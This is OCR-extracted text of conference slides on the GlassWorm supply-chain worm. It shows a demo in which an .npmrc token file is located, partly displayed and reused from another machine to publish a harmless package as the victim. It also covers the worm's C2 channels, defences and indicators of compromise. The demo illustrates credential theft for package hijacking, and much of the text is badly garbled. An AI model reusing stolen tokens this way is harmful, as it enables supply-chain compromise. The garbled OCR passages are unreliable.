npm notice npm tokens that bypass 2FA are being restricted for account changes and direct publishing. Learn how to prepare: htt
ps://gh.io/npm-gat-bypass2fa-deprecation

Login at:

https://www.npmjs.com/login?next=/login/cli/56dadc9e-9ad6-US5c8-a5fa—f528ea79b3d7

Press ENTER to open in the browser...

Logged in on https://registry.npmjs.org/.
PS D:\glassworm-npm-demo>

= @ betan
(1) (— = 78



Token Stealer?

SARFHBEIER

PS D:\glassworm-npm-demo> Test-Path "$env:USERPROFILE\.npmrc"
True

PS D:\glassworm—npm—demo>

PS D:\glassworm-npm—-demo> Get-Item "$env:USERPROFILE\.npmrc"

H$E: C:\Users\betan

Mode LastWriteTime Length Name

-—a-——- 2026/8/5 T4 11:10 74 .npmrc



Token Stealer?

SARFHBEIER

PS D:\glassworm-npm—-demo> Test-Path "$env:USERPROFILE\.npmrc"
True

PS D:\glassworm-npm—demo> 3 .
PS D:\glassworm-npm-demo> ( 1 //registry.npmjs.org/:_authToken=npm_W

P|l.romf<x

H e t
2 |
H & : C:\Users\betan
Mode LastWriteTime Length Name
-—a-——- 2026/8/5 T4 11:10 74 .npmrc
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Token Stealer?

BNr &R BB TS (FABRBIR2FA FrLU RS EEH)

PS D:\glassworm-npm-demo> npm publish ——access public —-userconfig C:\Users\betan\.npmrc
npm notice

npm notice package: @betan/glassworm-safe-demo@l.0.0

npm notice Tarball Contents

npm notice 77B index.js

npm notice 2U46B package.json

npm notice Tarball Details

npm notice name: @betan/glassworm-safe-demo

npm notice version: 1.0.0

npm notice filename: betan-glassworm-safe-demo-1.0.0.tgz

npm notice package size: 356 B

npm notice unpacked size: 323 B

npm notice shasum: ddfel3dc3c7cl82cb8U6752a36U02502c8bdf5U2

npm notice integrity: sha512-iuhLQXMTOV31z[...]AVGXsNs5Qc3KA==

npm notice total files: 2

npm notice

npm notice Publishing to https://registry.npmjs.org/ with tag latest and public access

npm code ELUO3

npm 403 Ue3 Forbidden - PUT https://registry.npmjs.org/@betan%2fglassworm-safe-demo — Two—factor authentication or granul
ar access token with bypass 2fa enabled is required to publish packages.

npm 403 In most cases, you or one of your dependencies are requesting

npm 4e3 a package version that is forbidden by your security policy, or

npm 4e3 on a server you do not have access to.

npm A complete log of this run can be found in: C:\Users\betan\AppData\Local\npm-cache\_logs\2026-08-05T15_1uU_u8_295Z-deb
ug-0.log

.
1) @ betan
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Token Stealer?
{BETLARAEA &

New Granular Access Token

Granular access tokens provide the most control by a you to configure fine-grained, tightly scoped permissions for yo

General

Token name *

Proy aunique name.

Bypass two-factor authentication (2FA) ‘ —

. . e . : Description (optional)
There are security risks with this option. nt st in ko b

Bypass two-factor authentication (2FA)

th this option. For automation or CI/CD u [ se Trusted Publishi




Token Stealer?

B AT LIEREB CLIFET

PS D:\glassworm-npm-demo> npm publish ——access public ——userconfig C:\GlassWormDemo\victim.npmrc

npm
npm
npm
npm
npm
npm
npm
npm
npm
npm
npm
npm
npm
npm
npm
npm

+ @betan/glassworm-safe-demo@1.0.0

notice
notice
notice
notice
notice
notice
notice
notice
notice
notice
notice
notice
notice
notice
notice
notice

=
gysE @ betan

package: @betan/glassworm-safe-demo@l.0.0
Tarball Contents

77B index. js

2U6B package. json

Tarball Details

name: @betan/glassworm-safe-demo

version: 1.0.0

filename: betan—glassworm-safe-demo-1.0.0.tgz
package size: 356 B

unpacked size: 323 B

shasum: ddfel3dc3c7cU82cb8U6752a36U02502c8bdf5U2
integrity: sha512-iuhLQXMTOV31z[...]AVGXsNs5Qc3KA==
total files: 2

Publishing to https://registry.npmjs.org/ with tag latest and public access
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Token Stealer?

FERA—BTEFHMO RN

EXPLORER

v COSCUP
JS index.js
{} package.json

victim.npmrc

JS index,s

X

JS index.js 2 ...

1

2
3

module.exports = function () {

};

return "COSCUP GlassWorm safe demo v2 - published from VM B";
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Token Stealer?

EILBEE BRI —#THEEII[E*IHEJEE%E

PS C:\Users\Administrator\Desktop\coscup> npm publish
p\victim.npmrc

npin
npin
npin
npin
npim
npin
npin
npin
npin
npin
npin
npin
npin
npin
npin
npin
npin

notice
notice
notice
notice
notice
notice
notice 1T
notice
notice
notice
notice
notice
notice
notice
notice
notice
notice

package @betanfglassworm safe-demo@] .0.1

QQB 1ndex ]S .
2478 package.json
lllB v1ct1m npmrc

name : @betanfglassworm safe-demo

version: 1.0.1

filename: betan-glassworm-safe-demo-1.0.1.tgz
package size: 477 B

unpacked size: 457 B

shasum: 149273ee3d0b8cl60f66127367¢7b08a2261ed3f
integrity: sha512-6GchKnuGSYNsP[ . . . JoHUzFGUhZUS; A==
total files: 3

s public

» C:\Users\Administrator\Desktop\coscyl

Publishing to https://registry.npmjs.org/ with tag latest and public access
+ @betan/glassworm-safe-demo@] .0.1
PS C:\Users‘Administrator\Desktop\coscup>

=
gysE @ betan

85



Token Stealer?

BEEFROUBEFIIMARE 1.00%1.01 T

PS D:\giassworm-npm—demo> npm view @betan/glassworm—-safe-demo version

1.8.1
PS D:\glassworm-npm-demo> |

-

1) @ betan

86



The End of the Story...



—y

e GlassWorm 22—t # iS558 E RE A EN M B REBEEEDES.
o EFNMMEEHMEHN. MEBRY, FE€—PIEHNMARENEERINGHMER,
HMERREES Repository, B ERIRFTEH .
o RDLBARALSE=fEEH%:
a. Invisible | BFRMNFER
b. Resilient | B LIYIETAY C2
c. Contagious | iR RIIEE



The End...?

a2

GlassWorm ;2 B EIEH%, MEERFEEIL

@) %ﬁ’%/ﬁ
o IXEEBIEM Windows EHZE macOS

o HEHEHMNERAESLE
L& GlassWorm §XAHEE), B TRMEAMAEHEIEX

[]

1) @ betan
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The End...?

« GlassWorm iR BFEIEHE., MeaEEEElL
o HFE
o IREEHENR Windows ZEHZE macOS
e ?#%E.‘:ljﬁ%ﬁﬂ’lﬁ?ﬁﬁ‘tﬁ?ﬂﬁﬁ
- ME GlassWorm §XAHETH, B TRMUEBAHWLAEHEIHK

GLASSWORM C2 INFRASTRUCTURE & DISRUPTION

c2 CHANNELS

¥ Solana Blockchain BitTorrent DHT Google Calendar

e
& fraeY C2SERVERS

m @ betan g Source: CrowdStrike

—y
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—y

Conclusion

B HREENEERERE
AERNERREBERETENBR, RN MESHIERSE R ETRERRRE

FrRE—ChHBEEYE hFrFERR—&
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What You Can Do

AI HEE. Marketplace 2R ESTEHEFAENT
BE B R Extension B Publisher

BE%IJ Token scope E1 & % EAR

REEHZHE D

FIRR LR IGENE RS

HTEAFRIE, ERMXE

e
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What You Can Do

Al # 2. Marketplace £ B THEFRENTE
BT B R Extension Ed Publisher

fR %I Token scope B2 % HAR
REEHZHE D

BN RERETA RS
HEALRRKRIE, ERAWRX 4

a2

1) @ betan
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loC

Solana Wallet: 28PKnu7RzizxBzFPolLp69HLXp9bJL3JFtT2s5QzHSEA2
217[.]69[.]3[.]218
sample:
o €32379e4567a926aa0d35d8123718e2ebeb15544a83a5b1da0269db5829d5ece
o bb68992f6aa2d3f316322e88d9e71491a38e95fd3a27f48084c66b9c210bd17d
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B -

* https://www.koi.ai/blog/alassworm-first-self-propagating-worm-using-invisible-code-hits-openvsx-marketplace
e https://www.koi.ai/blog/glassworm-returns-new-wave-openvsx-malware-expose-attacker-infrastructure

» https://www.koi.ai/blog/glassworm-goes-native-same-infrastructure-hardened-delivery

» https://www.aikido.dev/bloa/glassworm-returns-unicode-attack-github-npm-vscode

&
@ betan
(1) (™ 95


https://www.koi.ai/blog/glassworm-first-self-propagating-worm-using-invisible-code-hits-openvsx-marketplace
https://www.koi.ai/blog/glassworm-returns-new-wave-openvsx-malware-expose-attacker-infrastructure
https://www.koi.ai/blog/glassworm-goes-native-same-infrastructure-hardened-delivery
https://www.aikido.dev/blog/glassworm-returns-unicode-attack-github-npm-vscode

&

1) w @ betan

Q&A
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Q&A




Thank You

-

1) @ betan

Blog: https://betan423.github.io
Discord: @betannnnn.py
Email: betan050423@gmail.com
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